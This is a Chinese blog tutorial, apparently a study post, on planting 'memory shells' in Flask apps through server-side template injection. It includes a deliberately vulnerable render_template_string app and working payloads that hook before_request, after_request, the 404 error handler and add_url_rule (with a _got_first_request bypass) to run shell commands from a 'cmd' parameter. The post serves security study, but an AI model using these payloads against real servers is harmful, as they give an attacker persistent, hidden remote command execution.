当前位置: 首页 > article >正文

Flask内存马学习

文章目录

    • 参考文章
    • 环境搭建
    • before_request方法构造内存马
    • after_request方法构造内存马
    • errorhandler方式构造内存马
    • add_url_rule方式构造内存马

参考文章

https://www.mewo.cc/archives/10/

https://www.cnblogs.com/gxngxngxn/p/18181936

前人栽树, 后人乘凉
大佬们太nb了, 直接跟着大佬们的思路学习了一波
打内存马的方式有很多, 仅仅跟着大佬们的博客学了一下这四种

环境搭建

随时根据需要修改一下展示出回显, 或者开启调试

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

before_request方法构造内存马

from flask import Flask, request, g
import time

app = Flask(__name__)

@app.before_request
def before_request():
    # 这里的代码将在每个请求处理之前执行
    g.start_time = time.time()  # 记录请求开始的时间
    print("This runs before each request.")

@app.route('/')
def index():
    # 这是处理主页请求的视图函数
    return "Hello, World!"

if __name__ == '__main__':
    app.run()

在这里插入图片描述

这里可以看到在每次发送一个请求的时候, 在它之前都会进入before_request 这个方法的内部先执行

before_request 是 Flask 框架中的一个方法,它允许你在每次 HTTP 请求到达视图函数之前执行特定的代码

跟进这个函数内部

在这里插入图片描述

可以看到before_request实际上调用的是 self.before_request_funcs.setdefault(None, []).append(f)

self.before_request_funcs.setdefault(None, []): before_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 before_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 before_request 函数。
.append(f): 将传入的函数 f 添加到 before_request 函数列表中,这意味着该函数会在每个请求开始前被执行。f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,这样每次发起请求前,都会触发一个这个匿名函数了
return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。

构造payload

{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('echo xpw').read())")}}

后续所有的访问结果都将变成xpw, 也就是我们所执行命令的结果

在这里插入图片描述

在这里插入图片描述

after_request方法构造内存马

在这里插入图片描述

与@app.before_request类似,after_request会在请求结束得到响应包之后进行操作
但是这里传入的f需要接收一个response对象,同时返回一个response对象。

但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response

self.after_request_funcs.setdefault(None, []): after_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 after_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 after_request 函数。
.append(f): 将传入的函数 f 添加到 after_request 函数列表中,这意味着该函数会在每个请求处理完成后被执行。
return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。
self.after_request_funcs.setdefault(None, []).append(f)传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象,所以这个是需要定义一个返回值的

构造的payload

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

函数的内容为:

lambda resp: #传入参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     #定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

在执行完payload之后, 就能够以GET的方式用cmd执行命令

在这里插入图片描述

errorhandler方式构造内存马

在这里插入图片描述

这个函数可以用于自定义404页面的回显, 利用这个函数操控404页面的返回内容

这个函数的底层调用了register_error_handler函数 , 但是这个函数无法被调用

在这里插入图片描述

跟进register_error_handler函数,可以看到他底层还调用了别的函数

在这里插入图片描述

这里面的参数, code就是404, exc_class是一个对象, **f **就是我们404界面的返回值

那么控制这里的两个函数_get_exc_class_and_codeerror_handler_spec[None][code][exc_class]就可以控制404页面的返回内容了
首先_get_exc_class_and_code 的参数code_or_exception就是传参的 404, 表示遇到404页面进行执行
然后 error_handler_spec[None][code][exc_class] 就可以控制为一个匿名函数去执行我们的恶意代码

payload

{{url_for.__globals__['__builtins__']['exec'](
"
global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()
",
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

或者

{{ url_for.__globals__['__builtins__']['exec'](
"
app.error_handler_spec[None][404][app._get_exc_class_and_code(404)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else c
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}

在这里插入图片描述

随便一个路由返回404然后都可以执行cmd

在这里插入图片描述

add_url_rule方式构造内存马

新版的Flask下调用add_url_rule注册新的路由会报这样的错误

{{ url_for.__globals__['__builtins__']['exec'](
"
app.add_url_rule('/shell', 'shell', lambda: '123');
", 
{'app':url_for.__globals__['current_app']})
}}

在这里插入图片描述

目前的版本中 Flask APP 在处理了第一个请求后又尝试对应用进行设置是不允许的,所以app._check_setup_finished抛出了异常, 看到它的底层代码

在这里插入图片描述

仅仅是对_got_first_request的值进行了一个判断, 那么现在能够访问app的上下文的情况下, 修改它的值为就可以绕过了

{{ url_for.__globals__['current_app'].__dict__ }}

可以在当前的上下文里面找到这个变量, 且它的值为true, 那么修改它的值为false就可以绕过了

在这里插入图片描述

payload

{{ url_for.__globals__['__builtins__']['exec'](
"
app._got_first_request=False;
app.add_url_rule('/xpw', 'xpw', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())
);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}

在 /xpw路由下就可以执行命令了看到回显了

在这里插入图片描述

在这里插入图片描述


http://www.kler.cn/a/446279.html

相关文章:

  • (12)YOLOv10算法基本原理
  • 基于语义的NLP任务去重:大语言模型应用与实践
  • 数据结构-栈与队列
  • GaussDB数据库迁移方案介绍
  • 某医疗行业用户基于Apache SeaTunnel从调研选型到企业数据集成框架的落地实践
  • 智慧商城:购物车模块基本静态结构 + 构建vuex cart模块,获取数据存储(异步actions)
  • 图解HTTP-HTTP状态码
  • ECharts散点图-SymbolShapeMorph,附视频讲解与代码下载
  • Go 语言GC(垃圾回收)的工作原理
  • 「Mac畅玩鸿蒙与硬件45」UI互动应用篇22 - 评分统计工具
  • 前端笔记——大数据量浏览器卡顿优化思路
  • 青少年编程与数学 02-004 Go语言Web编程 06课题、RESTful API
  • ChatGPT与接口测试工具的协作
  • 鸿蒙项目云捐助第十六讲云捐助使用云数据库实现登录注册
  • GaussDB 企业版轻量化部署探索
  • AIGC与现代教育技术
  • C语言-左移、右移
  • 《国产单片机,soc的一些现实问题》
  • 光谱相机在农业的应用
  • onlyoffice连接器 二次开发 合同等制式模板化技术开发方案【三】